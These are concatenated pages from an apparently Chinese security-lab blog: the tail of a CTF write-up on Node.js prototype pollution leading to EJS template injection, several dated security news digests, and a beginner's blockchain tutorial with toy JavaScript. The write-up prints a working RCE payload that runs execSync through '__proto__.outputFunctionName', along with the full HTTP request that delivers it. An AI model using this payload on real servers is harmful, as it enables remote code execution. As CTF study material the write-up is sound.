is asked');history.go(-1);</script>")}  req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");   }); 也就是说我们可以在action路由下通过请求体来进行污染,原型链污染的位置找到了,接下来就是要找到可以用来控制键名和键值的对象。 看到这段: router.get('/info', function (req, res) {  res.render('index',data={'user':res.outputFunctionName}); }) render函数应该不陌生,在模板注入攻击(SSTI)中很常见, 这里将回显req的outputFunctionNmae渲染到了index中,那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢?代码跟下来我们发现并没有outputFunctionName这个东西,也就是说它是我们可以用来污染原型链的载体,如果把Object的prototype中加上键名为outputFunctionName,键值为恶意payload的属性,那么在进行模板渲染时,是不是就会执行我们的恶意payload? 但是我们考虑一个问题,如何去修改Object的prototype ?(确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr)我们重新回到这段代码: router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}  req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");   }); 发现请求体被clone到了req.session.user.data中,对于req.session.user这个对象来说,它的__proto__属性是不是就是Object的prototype,所以我们可以修改了这个对象的__proto__从而达到目的。 req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false   } SSTI的payload我也不是很懂,反正原理都是不断调用原型对象,最后找到一个可以用来rce的函数,payload和CVE-2019-10744是一样的,直接搬来用了。 {"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}} 污染成功后在info路由下调用res.outputFunctionName时,就像上面调用son.last_name的过程一样,最终调用到了Object的outputFunctionName ,并且要让__proto__为键名,要用JSON格式,所以要用burp拦包添加content type(在进行POST传参时必须有该头) 放个包做个参考,记得路由和传参方式也要改 再传payload。 POST /action HTTP/1.1 Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/login Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MY Content-Type: application/json Connection: close Content-Length: 137 {"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}} 在action路由下污染成功后,应该接着访问info路由进行SSTI,但是不知道为啥,我包发过去直接给flag了。
网络安全日报 2023年02月09日
1、爱尔兰明斯特科技大学因网络攻击被迫停课 https://therecord.media/all-classes-canceled-at-irish-university-as-it-announces-significant-it-breach 爱尔兰明斯特科技大学 (MTU) 周一宣布,由于“重大 IT 漏洞和电话中断”,其位于科克的校区将关闭。据报道,包括 Canvas 在内的许多学习工具都受到了影响。 2、香港警方和国际刑警组织破获国际网络钓鱼集团使用的服务器和应用程序 https://www.scmp.com/news/hong-kong/law-and-crime/article/3209140/hong-kong-police-and-interpol-uncover-servers-and-apps-used-global-phishing-syndicate 香港警方破获了一个国际网络钓鱼集团的本地运作,该集团使用 563 个伪造的移动应用程序在全球范围内监视手机并窃取信息。警队网络安全及科技罪案调查科高级警司林卓豪表示,警方还在全球范围内追踪到与这些应用程序相关联的 258 台服务器。与国际刑警组织为期 11 个月的联合行动于去年 2 月开始,代 3、研究人员发现了丰田供应商管理网络漏洞 https://securityaffairs.com/141990/hacking/utoyota-supplier-management-network-bug.html 安全研究员 Eaton Zveare 利用丰田全球供应商准备信息管理系统 (GSPIMS) 中的一个漏洞,实现了对丰田全球供应商管理网络的系统管理员访问。GSPIMS 门户允许员工和供应商访问正在进行的项目、调查和采购信息。 4、俄罗斯电商巨头Elevel泄露买家个人信息 https://securityaffairs.com/142000/data-breach/elevel-data-leak.html Elevel(前身为 Eleko)成立于 1991 年,将自己定位为俄罗斯领先的电气工程公司,同时经营电子商务业务和批发商店。1 月 24 日,Cybernews 研究团队发现了一个包含 1.1TB 数据的开放数据集,并将其归因于 e.way——一家 Elevel 旗下的在线商店,每月有 25,000 名访客。这个包含 700 万个数据条目的数据集泄露了两年的敏感数据,包括姓名、电话号码、电子邮件地址和客户的送货地址。 5、CISA 发布脚本来恢复感染 ESXiArgs 勒索软件的服务器 https://securityaffairs.com/141948/malware/uc-cisa-script-esxiargs-ransomware.html 美国网络安全和基础设施安全局 (CISA) 发布了一个脚本,用于恢复感染了 ESXiArgs 勒索软件的 VMware ESXi 服务器。 6、Clop 勒索软件的新 Linux 变体使用了有缺陷的加密算法 https://securityaffairs.com/141932/cyber-crime/clop-ransomware-linux-variant.html Clop 勒索软件的一个新的 Linux 变体已经在野外被发现,好消息是它的加密算法存在缺陷。SentinelLabs 研究人员观察到了Clop 勒索软件的第一个 Linux 变体。研究人员注意到,在 ELF 可执行文件中实施的加密算法存在缺陷,受害者可以在不支付赎金的情况下解密锁定的文件。 7、Chrome 110 第一个稳定版本修复了 15 个漏洞 https://www.securityweek.com/chrome-110-patches-15-vulnerabilities/ 谷歌本周宣布,Chrome 110 的第一个稳定版本带来了 15 个安全修复,其中 10 个解决了外部研究人员报告的漏洞。在外部报告的错误中,三个被评为“高严重性”。其中包括 V8 引擎中的类型混淆缺陷、全屏模式下的不当实现问题以及 WebRTC 中的越界读取漏洞。 8、Tor 网络遭 DDoS 攻击已长达 7 个月 https://www.securityweek.com/tor-network-under-ddos-pressure-for-7-months/ 其维护者本周宣布,在过去七个月中,Tor 匿名网络遭受了多次分布式拒绝服务 (DDoS) 攻击。Tor 项目表示,一些攻击严重到足以阻止用户加载页面或访问洋葱服务。 9、西门子许可证管理器漏洞允许 ICS 遭黑客攻击 https://www.securityweek.com/siemens-license-manager-vulnerabilities-allow-ics-hacking/ 据工业网络安全公司 Otorio 称,Siemens Automation License Manager 受到两个严重漏洞的影响,这两个漏洞可能会导致黑客入侵工业控制系统 (ICS)。 1 月 10 日,西门子发布了2023 年的第一轮补丁星期二更新,共解决了影响公司产品的 20 个漏洞。 10、Medusa 僵尸网络作为基于 Mirai 的变体归来,并具有勒索软件模块 https://www.bleepingcomputer.com/news/security/medusa-botnet-returns-as-a-mirai-based-variant-with-ransomware-sting/ 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
区块链安全前传之从Web3.0到创造自己的数字货币
互联网发展的三个阶段 web1.0 静态页面,内容只能供用户去阅读,类似于在网络上读报纸或者看书。 web2.0 动态互联网,实现用户之间的互动,比如twitter,facebook,titok等。 web2.0中厂商用免费或极低的成本吸引用户,通过获取到用户的信息来推流广告从而获得利润。 打个比方就是 厂商在一片地上种了很多草,吸引羊来吃,趁着羊吃草的功夫把羊身上的毛薅下来拿去卖钱,而羊自己并不在意这些毛,可以说是一种双向互利的方式。 web3.0 web3.0是一个很模糊的概念,随着区块链技术的发展,基于区块链的web3.0诞生。 接着用上面的例子来说,随着web2.0的发展壮大,稀缺的不再是草,而是羊毛,也就是用户身上的数据。那么羊毛的重要性愈加突出,所以提出web3.0的概念,也就是拥有自己的一片空间,别人无论如何都无法修改,也就是将羊毛(数据)存放在了一个非常安全的地方中,相比于web2.0,不但实现了动态的交互,也实现了数据的“拥有”。 web3的概念非常模糊,可以说是一个大方向,按照我个人的理解可以说是在互联网创造了一个虚拟的世界,这个虚拟的世界拥有和现实世界一样的货币交易系统以及其他体系,能够自主维持运转的这样一个“虚拟生态系统”,而这个生态系统的生存法则就是“去中心化”。 什么是去中心化? 比如现在市面上的app都由一个厂家负责,厂商可以随意删除控制用户数据,形成了以厂商为中心的服务体系,去中心化就是没有中心厂商作为核心,而是所有用户形成一个能够自力更生的体系。 密码货币 随着web2.0发展,数字货币使用越来越多,而在区块链技术的支持下,数字货币也出现了全新的存在形式,去中心化的密码货币,世界上第一种密码货币就是比特币。像纸币有防伪印一样,密码货币通过密码学的散列计算出的hash值并且和智能合约进行绑定,密码货币基于去中心化的机制,与依赖中心监管体系的银行金融系统相对。之后出现的数种密码货币被创造,它们通常被称为altcoins。 区块链 区块链的防篡改机制一个区块中储存了三样东西:数据,前一个区块的hash值,自身的hash值(由数据和前一区块的哈希值共同决定),如果要更改某一区块的内容,那么该区块(a区块)的hash值就会改变,下一区块(b区块)储存的a区块的hash值无法对应a区块当前哈希值,那么这两个区块间的链接就会断开。 如果想要篡改某一区块的数据,我们就要将这一区块以及后续所有区块的hash值进行重算,比如一条区块链里面有abcde五个区块,当我们篡改了b区块的数据,那么我们就要带着b区块的新hash值和c区块的数据重新计算出c区块的新hash值,然后再带着c区块的新hash值和d区块的数据重新计算d区块的新hash值,再带着d区块的新hash值和e区块的数据重新计算e区块的hash值…………………..其实在重新计算某一区块的hash值的过程也就相当于创造了一个新的区块,因此篡改一个区块以及后续区块所需的时间取决于创造一个区块所需要的时间。 这个看起来对算力要求似乎非常庞大,但是现代计算机其实是可以做到这一点的,如果我们有一台超大算力的计算机,那么是不是轻松就可以改变区块链的内容了?为了防止这种情况的出现,区块链加入了工作量证明机制(proof of work)简称 pow 我们用游戏举例说明一下pow,我们刚才说到用超大算力计算机来篡改区块链,这就好比你拿着满级神装在新手村乱杀,区块链是不允许这种情况出现的,因此它会上调怪物属性,也就是会增加创造一个区块所需的难度,使每一新区块被创造时都保持在十分钟左右(当然这个时间是可以更改的),因此即使是一台超高算力的计算机想要篡改一个区块所需的时间仍然是 创造一个区块的时间✖️n min。 那我们所说的挖矿是什么呢?上面提到的情况是想要篡改区块中的数据,那么我没有恶意,我只是单纯的创造区块去给自己或者他人使用,这个创造区块的过程牺牲了我电脑的算力和一些其他资源,所以作为补偿,创建区块的人会得到密码货币的奖励,这就是我们所说的挖矿。 区块链的点对点网络结构 在传统的web服务中,传统的链接对象基本都是客户端和服务端,众多客户端访问一个服务端来进行交互,而在区块链的点对点网络结构(peer to peer)中,不再有客户端与服务端的概念,每一个节点间相互平等,并且包含完整的区块链数据存储,也就是说每一个节点中都储存了整个区块链网络中的所有信息,这样即使一个节点出现故障,其他所有节点也在帮他记录信息,这些记录了所有节点区块链的节点叫做全节点,当然也有只储存了自己信息的轻节点,比如区块链用来储存转账记录,那么每一节点都储存了所有节点之间的转账记录,每一节点储存的内容也是相同的,如果某一节点与其他节点出现差异,那么该节点或许就有被篡改过的可能了,但是被篡 点对点网络结构下的所有节点拥有判断区块是否被篡改的能力,当一个新区块想要加入某一节点的区块链时,该节点会向其他所有节点进行广播,所有的节点进行判断,如果50%以上的节点都认为该区块没有被篡改,那么这个区块就可以成功的加入区块链当中,反言之如果想要篡改某一区块的数据,你首先要将这一区块后的所有哈希重新计算,并且还要更改超过百分之五十节点的这一区块后的所有区块的哈希,那么就要拥有超过全网50%以上的算力才可以,这付出的代价是相当高的,这就是区块链网络系统的少数服从多数原则。 DAPP Dapp 是什么? APP (Application) 指的是手机里的应用程序,像是微信、微博、抖音…等都是日常生活中常会使用到的 App。 而 Dapp 的全名为去中心化应用程序(Decentralized Application),是建立在区块链系统网络上,所提供的服务都具有公开透明、不可篡改的特性。 以下是 Dapp 所具有的要素: 1. 代码开源:程序代码皆公开透明,任何人都可以查阅及审核,避免项目方说到没做到。 2. 分布式帐本:降低数据遗失的风险,且没有任何其他第三方有权能够窜改数据。 3. 数据所有权:除本人(私钥持有者)外,任何人皆无法动用该帐号的数据。 为什么 Dapp 会崛起? 事实上,App 都是中心化的应用服务,用户所使用的数据都会存储在单一服务器系统里,代表公司能掌控用户的所有数据,但相关问题也随之浮出水面。 数据所有权归属问题 用户在 App 上的个人资料、搜索浏览纪录等信息都会存储在中心化系统的服务器里,这也意味着软件公司能够借由这些数据来营利。 也导致像是微博、抖音等企业,能透过搜集的用户数据来投放广告,并借此获利。等于企业能用你的信息来赚钱,但你却分不到任何好处,甚至还可能受到影响(例如被疯狂投放广告、或个人资料被平台外泄)。 另外,传统手游的游戏道具、帐号数据也都属于公司所有,一旦宣布停止营运,这些资产也会随着官方服务器关闭而消失。 但在 Dapp 中,你的游戏道具、帐号都会以 NFT 形式储存在链上,因此只要区块链不倒,你就能持续拥有这些资产。换句话说,Dapp 能够让数据的所有权回归到用户身上。额外提醒,虽然你仍拥有这些资产,但可能会因为游戏已经关闭,导致这些资产的现值趋近于零,你能保有的仍以回忆居多。 过度中心化 App 是由中心化服务器来进行管理,因此企业有时可以专断独行,但用户却没有任何反制的手段:例如可以随意植入广告,或是删除用户的内容、帐号。 而 Dapp 的数据都存在区块链上,因此项目方没办法任意删除用户资料,目前也没有任何广告植入的问题(但不确定未来是否会有项目开始植入广告)。 由于上述几点原因,也让许多人开始对传统的 App 感到不满,于是就有人打算通过区块链“去中心化”的特性来研发能解决上述问题的 App,于是 Dapp 就此诞生。 不过同时也要注意,不是每个 Dapp 都一定符合公开、去中心化的规范,例如 Opensea 就能下架用户的 NFT 和限制用户登陆。 Dapp 与 App 的差异 App 的应用服务是使用中心化服务器,代表软件公司必须要承担存储用户的数据量的营运成本,否则将无法持续地运行。 例如抖音服务器的成本就百万以上,因此必须想办法创造各种营收管道来支持各项支出,像是通过大数据将广告推广到潜在用户面前,借此吸引更多广告商进驻。 而 Dapp 是建立在区块链上,用户在链上进行交易、换币等行为时,是需要自行负担手续费(Gas 费)的,也就代表开发商的运营成本会比传统 App 来得更低(不过有些开发商为了吸引用户,会帮用户负担使用时的手续费)。 智能合约 智能合约,是一段写在区块链上的代码,一旦某个事件触发合约中的条款,代码即自动执行。也就是说,满足条件就执行,不需要人为操控,类似于传统web的后端代码。 简单区块链实现 我们用Javascript来手写一个建议的区块链出来,其实和写一个链表很像: const sha256 = require('crypto-js/sha256') Date = new Date() class block{    constructor(data,time,previousHash) {        this.data = data        this.time = time        this.previousHash = previousHash        this.myHash = this.currHash()   }    currHash() {        return sha256(this.data + this.time + this.previousHash).toString()   } } class blockCahin{    constructor()   {        this.chain = [this.createBlockchain()];   }    createBlockchain()   {        return new block("Genesisblock",Date.toLocaleString(),0o0000000)   }    getLatestblock()   {        return this.chain[this.chain.length - 1]   }    addBlock(newBlock)   {        newBlock.previousHash = this.getLatestblock().myHash        newBlock.myHash = newBlock.currHash()        this.chain.push(newBlock)   } } BlockChain = new blockCahin() BlockChain.addBlock(new block("this is a test",Date.toLocaleDateString(),"anything")) console.log(BlockChain) 接下来我们用代码实现一下简易的POW: const sha256 = require("crypto-js/sha256") function proofOfwork(){    let seed = "y1zh3e7"    let x = 1               // x为自增变量    while (true){        if(sha256(seed + x).toString().substring(0,4) != "0000") // 定义难度,比如我现在要求通过不断自增x去计算seed+x的哈希值       {                                                        // 当哈希值前四位都为0000时则代表成功 如果想提高难度我们就可以让前x位为xxxx            x += 1       }else{            console.log(sha256(seed + x).toString())            break       }   }    console.log(x)                                              // 输出计算多少次后成功 } proofOfwork() 实现防篡改机制: /*********************************************** 验证区块链防篡改需要检测两项:                                     1.重新计算区块的hash值,判断与区块中储存的hash是否相同 2.判断当前区块的previousHash是否和上一区块的hash相同 ***********************************************/ function validateBlock(validBlockchain){    if (validBlockchain.chain.length == 1)   {        if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())       {            console.log("数据篡改")            return false       }   }else {        for (let i=1; i<=validBlockchain.chain.length-1; i++)       {            if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())           {                console.log("数据篡改")                return false           }            if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)           {                console.log("前后区块链断裂")                return false           }       }   }    console.log("数据无篡改且区块链结构完整")    return true } 将完整的POW整合到区块链当中并实现挖矿功能,最终实现的完整区块链: const sha256 = require('crypto-js/sha256') Date = new Date() class block{    constructor(data,time,previousHash) {        this.data = data        this.time = time        this.nonce = 1        this.previousHash = previousHash        this.myHash = this.calcHash()   }    calcHash() {        return sha256(this.data + this.time + this.previousHash + this.nonce).toString()   }    /** **/    getAnswer(difficulty){        let answer = ""        for(let i=0; i<difficulty; i++)       {            answer += "0"       }        console.log(answer)        return answer   }   /** 引入挖矿功能 **/    mine(difficulty){        let answer = this.getAnswer(difficulty)        let Hash = this.calcHash()       while(true){            if (Hash.substring(0,difficulty) != answer)           {                this.nonce++                Hash = this.calcHash()           }else{                break           }       }       console.log("mine successful!")       console.log(this.nonce)       return Hash   } } class blockCahin{    constructor()   {        this.chain = [this.createBlockchain()]        this.difficulty = 5   }    createBlockchain()   {        return new block("Genesisblock",Date.toLocaleString(),0o0000000)   }    getLatestblock()   {        return this.chain[this.chain.length - 1]   }    addBlock(newBlock)   {        newBlock.previousHash = this.getLatestblock().myHash        newBlock.myHash = newBlock.mine(this.difficulty)        this.chain.push(newBlock)   } } /*********************************************** 验证区块链防篡改需要检测两项: 1.重新计算区块的hash值,判断与区块中储存的hash是否相同 2.判断当前区块的previousHash是否和上一区块的hash相同 ***********************************************/ function validateBlock(validBlockchain){    if (validBlockchain.chain.length == 1)   {        if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())       {            console.log("数据篡改")            return false       }   }else {        for (let i=1; i<=validBlockchain.chain.length-1; i++)       {            if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())           {                console.log("数据篡改")                return false           }            if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)           {                console.log("前后区块链断裂")                return false           }       }   }    console.log("数据无篡改且区块链结构完整")    return true } BlockChain = new blockCahin() BlockChain.addBlock(new block("this is a test",Date.toLocaleDateString(),"anything")) // console.log(BlockChain) // BlockChain.chain[1].data = "数据篡改" // BlockChain.chain[0].myHash = "0012343566688" // console.log(validateBlock(BlockChain)) 数字货币的简单实现 比特币 我们前面说到区块链是用来记录信息的,如果它记录的是转账记录那么它就成了一个账本。 一笔转账信息需要以下四个信息: 付款人 收款人 转账金额 转账时间 我们前面提到了POW,比特币会通过POW将产生一个区块的时间控制在十分钟左右,比特币的工作机制基本如下: 整个区块链是一个网状的网络结构,其中有一个中心,每十分钟发布一个问题(类似于我们之间生成的目标Hash),当问题发布后,该网状网络中的所有结点会来解这个问题(挖矿,爆破目标Hash值),此时就是各结点间的算力比拼,当有一个结点解出该问题后则代表挖矿成功,一个新区块被创造出来,这时该新区块内会自动生成一笔转账记录,其中的收款人就是该区块的挖出者,这时区块链就会自动把奖励发放到收款人的账户上,并且该区块会在整个区块链网络中进行广播,区块链中的每一个结点会对该区块进行验证其合法性,经过验证后该新区块就会被加到区块链上。每四年比特币的奖励会减半一次,最后的比特币总量大约是在2100万个左右。 那么这里会有一个问题,如果过了几年之后,比特币越来越少,每次挖矿后几乎得不到比特币了,那还会有人来挖矿吗? 其实比特币只是比特币区块链中的一个额外奖励机制,整个区块链货币依赖的是每一笔转账记录的手续费,当一个新区块被挖出时那么这个新区块的转账信息(我们刚才说到的比特币奖励机制)就会记录在这个新区块上(以转账的方式发放奖励货币),后续也会记录其他的转账信息,并且会产生手续费,手续费归记录该笔转账信息的区块的挖出者所有。 说到动态调整难度,比特币是怎么调整的呢? 比特币会在每2016个区块诞生后验证一下难度,如果说本来预期中mine这2016个区块所需要的时间是两个星期,而实际只用了一个星期,那么此时比特币区块链就会调整难度,使其达到预期,基本上比特币区块链会每两个星期调整一次难度。 创建自己的数字货币 首先我们要新建一个Transaction类来进行转账记录: class Transaction{    constructor(from, to , amount) {        this.from = from        this.to = to        this.amount = amount   } } 更改区块中data的含义,此时要记录的是转账信息transaction,并且由于transaction是一个对象,因此在参与计算哈希时要转为字符串(这里将时间改为了Date.now,这样在区块创造时就记录了这笔转账记录的时间): class Block{    constructor(transaction,previousHash) {        this.transactions = transaction        this.time = Date.now()        this.nonce = 1        this.previousHash = previousHash        this.myHash = this.calcHash()   }    // 计算hash时要将data转换为字符串类型,此时的data是一个transaction    calcHash() {        return sha256(JSON.stringify(this.transactions) + this.time + this.previousHash + this.nonce).toString()   } 上面说到奖励货币的发放是通过转账的方式实现的,所以我们在链上实现逻辑: class blockChain{    constructor()   {        this.chain = [this.createBlockchain()]        this.difficulty = 5        this.transactionPool = []  //挖矿成功的转账信息        this.mineReward = 50       //每次挖矿成功的奖励货币数   } mineTransaction(minerAddress)   {        const minerRewardTransaction =  new Transaction('', minerAddress, this.mineReward)        this.transactionPool.push(minerRewardTransaction)   } 之前我们是在外部传入一个区块,在整个货币系统的实现后区块应该是在挖矿时在区块链内部产生的,修改代码: //将Transaction添加到Transaction Pool中    addTransaction(Transaction)   {        this.transactionPool.push(Transaction)   } mineTransaction(minerAddress)   {        const minerRewardTransaction =  new Transaction('', minerAddress, this.mineReward)        this.transactionPool.push(minerRewardTransaction)        //挖矿        /********************************************************         * 这里新区块记录了整个区块链的转账信息,但在实际情况中区块的存储         * 容量是有限制的,所以在挖矿时记录的转账记录会选择手续费最高的transaction         * 我们这里先不考虑这种情况         *******************************************************/        const newBlock = new Block(this.transactionPool,this.getLatestBlock().myHash)        newBlock.mine()        //添加到区块链,并清空Transaction Pool        this.chain.push(newBlock)        this.transactionPool = []   } 整个写好的数字代币: const sha256 = require('crypto-js/sha256') class Transaction{    constructor(from, to , amount) {        this.from = from        this.to = to        this.amount = amount   } } class Block{    constructor(transaction,previousHash) {        this.transactions = transaction        this.time = Date.now()        this.nonce = 1        this.previousHash = previousHash        this.myHash = this.calcHash()   }    // 计算hash时要将data转换为字符串类型,此时的data是一个transaction    calcHash() {        return sha256(JSON.stringify(this.transactions) + this.time + this.previousHash + this.nonce).toString()   }    /** 获取相应难度hash **/    getAnswer(difficulty){        let answer = ""        for(let i=0; i<difficulty; i++)       {            answer += "0"       }        return answer   }   /** 引入挖矿功能 **/    mine(difficulty){        let answer = this.getAnswer(difficulty)        let Hash = this.calcHash()       while(true){            if (Hash.substring(0,difficulty) != answer)           {                this.nonce++                Hash = this.calcHash()           }else{                break           }       }       console.log("mine successful!\n")       console.log("计算"+this.nonce+"次后挖矿成功,answer为"+Hash)       return Hash   } } class blockChain{    constructor()   {        this.chain = [this.createBlockchain()]        this.difficulty = 4        this.transactionPool = []  //挖矿成功的转账信息        this.mineReward = 50       //每次挖矿成功的奖励货币数   }    createBlockchain()   {        return new Block("Genesisblock",null)   }    getLatestBlock()   {        return this.chain[this.chain.length - 1]   }    //将Transaction添加到Transaction Pool中    addTransaction(Transaction)   {        this.transactionPool.push(Transaction)   }    mineTransaction(minerAddress)   {        const minerRewardTransaction =  new Transaction('', minerAddress, this.mineReward)        this.transactionPool.push(minerRewardTransaction)        //挖矿        /********************************************************         * 这里新区块记录了整个区块链的转账信息,但在实际情况中区块的存储         * 容量是有限制的,所以在挖矿时记录的转账记录会选择手续费最高的transaction         * 我们这里先不考虑这种情况         *******************************************************/        const newBlock = new Block(this.transactionPool,this.getLatestBlock().myHash)        newBlock.mine(this.difficulty)        //添加到区块链,并清空Transaction Pool        this.chain.push(newBlock)        this.transactionPool = []   } } /*********************************************** 验证区块链防篡改需要检测两项: 1.重新计算区块的hash值,判断与区块中储存的hash是否相同 2.判断当前区块的previousHash是否和上一区块的hash相同 ***********************************************/ function validateBlock(validBlockchain){    if (validBlockchain.chain.length == 1)   {        if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())       {            console.log("数据篡改")            return false       }   }else {        for (let i=1; i<=validBlockchain.chain.length-1; i++)       {            if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())           {                console.log("数据篡改")                return false           }            if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)           {                console.log("前后区块链断裂")                return false           }       }   }    console.log("数据无篡改且区块链结构完整")    return true } Y1Coin = new blockChain() const Transaction1 = new Transaction('add1', 'add2', 20) const Transaction2 = new Transaction('add1', 'add2', 5) Y1Coin.addTransaction(Transaction1) Y1Coin.addTransaction(Transaction2) Y1Coin.mineTransaction("add3") console.log(Y1Coin) console.log(Y1Coin.chain[1].transactions)
网络安全日报 2023年02月08日
1、 Anonymous 泄露了据称从ISP Convex 窃取的 128 GB 数据 https://securityaffairs.com/141888/hacktivism/anonymous-fsb-surveillance.html Anonymous 上周发布了 128 GB 的文件,据称这些文件是从俄罗斯互联网服务提供商 Convex 窃取的。庞大的数据库由 Anonymous 附属集团 Caxxii 的附属机构租用。被盗文件包含情报部门 FSB 进行的监视活动的证据。 2、Royal Ransomware增加了对加密Linux设备和ESXi的支持 https://securityaffairs.com/141876/cyber-crime/royal-ransomware-vmware-esxi.html Royal Ransomware 运营商增加对加密 Linux 设备的支持,并以 VMware ESXi 虚拟机为目标。其他勒索软件运营商已经支持 Linux 加密,包括AvosLocker、Black Basta、BlackMatter、HelloKitty、Hive、LockBit、 Luna、Nevada、RansomEXX和REvil。 3、VMware 称没有发现 ESXiArgs 勒索软件攻击中利用零日漏洞的证据 https://securityaffairs.com/141920/hacking/vmware-zero-day-esxiargs-ransomware.html VMware 表示,它没有发现任何证据表明正在进行的ESXiArgs勒索软件攻击背后的威胁参与者正在利用 VMware ESXi 服务器中的零日漏洞。 4、联合执法行动破获了犯罪集团使用的加密短信应用Exclu https://thehackernews.com/2023/02/encrypted-messaging-app-exclu-used-by.html 德国、荷兰和波兰开展的联合执法行动破解了有组织犯罪集团使用的另一个名为Exclu的加密消息应用程序。Eurojust 在一份新闻声明中表示,2 月 3 日的行动导致比利时和荷兰逮捕了 45 人,其中一些人包括该服务的用户以及管理员和所有者。 5、黑客利用向日葵漏洞部署Sliver C2框架 https://thehackernews.com/2023/02/hackers-exploit-vulnerabilities-in.html 威胁参与者正在利用 Sunlogin 软件中的已知缺陷来部署 Sliver 命令和控制 (C2) 框架,以执行后渗透活动。该调查结果来自 AhnLab 安全应急响应中心 (ASEC),该中心发现远程桌面程序 Sunlogin 中的安全漏洞被滥用以部署各种恶意载荷。 6、GuLoader 恶意软件使用恶意 NSIS 可执行文件来针对电商行业 https://thehackernews.com/2023/02/guloader-malware-using-malicious-nsis.html 网络安全公司 Trellix 上个月底透露,韩国和美国的电子商务行业遭GuLoader恶意软件攻击。值得一提的是,此次 GuLoader 勒索软件攻击目标还包括德国、沙特阿拉伯、中国台湾和日本等区域。 7、英国钢铁业供应商 Vesuvius 遭遇网络攻击事件 https://therecord.media/vesuvius-plc-cyber-incident-steel-industry-supplier/ 生产钢铁制造商使用的陶瓷的工程公司 Vesuvius Plc 上周一份报告称,它“目前正在处理一起网络攻击事件”。 8、英国皇家邮政遭到LockBit勒索软件攻击后服务中断 https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-royal-mail-cyberattack LockBit 勒索软件行动声称对英国的邮政服务 Royal Mail 进行了网络攻击,导致该公司因“严重服务中断”而停止其国际航运服务。勒索软件团伙的代表补充说,只有在支付赎金后,他们才会提供解密器,并删除从皇家邮政网络窃取的数据。目前,LockBit数据泄露网站的条目显示,英国皇家邮政的被盗数据将于国际标准时间2月9日星期四凌晨03:42在网上公布。皇家邮政于1月10日首次发现了这起攻击, 9、Fortra发布补丁修复GoAnywhere MFT漏洞 https://www.bleepingcomputer.com/news/security/actively-exploited-goanywhere-mft-zero-day-gets-emergency-patch/ Fortra发布了一个紧急补丁,以解决GoAnywhere MFT安全文件传输工具中一个被积极利用的零日漏洞。该漏洞允许攻击者在其管理控制台在线暴露的易受攻击的GoAnywhere MFT实例上远程执行代码。 10、美国高级网络外交官称社交账户遭黑客入侵 http://www.anquan419.com/knews/24/4267.html 美国高级网络外交官内特·菲克表示,他的个人推特账户遭到了黑客入侵,这名高官通过社交媒体证实了自己的账户“被黑”,但没有透露有关黑客事件的更多细节。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年02月07日
1、意大利、法国和新加坡警告针对ESXI 的勒索软件激增 https://securityaffairs.com/141889/cyber-crime/experts-warn-esxi-ransomware-attacks.html 针对ESXi的勒索软件在全球范围内针对数千台 VMware 服务器发起攻击,安全专家和国际 CERT 发出警告。 2、Baicells 无线通信基站严重漏洞可用来控制数据和语音流 https://www.securityweek.com/critical-baicells-device-vulnerability-can-expose-telecoms-networks-to-snooping/ 一名研究人员表示,影响 Baicells Technologies 无线通信基站的一个严重漏洞可被用来导致电信网络中断或完全控制数据和语音流量。Baicells Technologies 是一家总部位于美国的 4G 和 5G 网络电信设备供应商。该公司表示,超过 100,000 个基站部署在全球 64 个国家/地区。 3、OpenSSH 发布新的 Pre-Auth Double Free 漏洞补丁 https://thehackernews.com/2023/02/openssh-releases-patch-for-new-pre-auth.html OpenSSH 的维护者发布了 OpenSSH 9.2 以解决许多安全漏洞,包括 OpenSSH 服务器 (sshd) 中的内存安全漏洞。该漏洞编号为CVE-2023-25136,已被归类为 9.1 版中引入的预身份验证双重释放漏洞。 4、新的"PixPirate" Android 银行木马以巴西金融机构为目标 https://thehackernews.com/2023/02/pixpirate-new-android-banking-trojan.html 一种新的 Android 银行木马已盯上巴西金融机构,利用 PIX 支付平台进行欺诈。意大利网络安全公司 Cleafy 在 2022 年底至 2023 年初之间发现了该恶意软件,并以 PixPirate 的名义对其进行追踪。研究人员称:PixPirate 属于最新一代的 Android 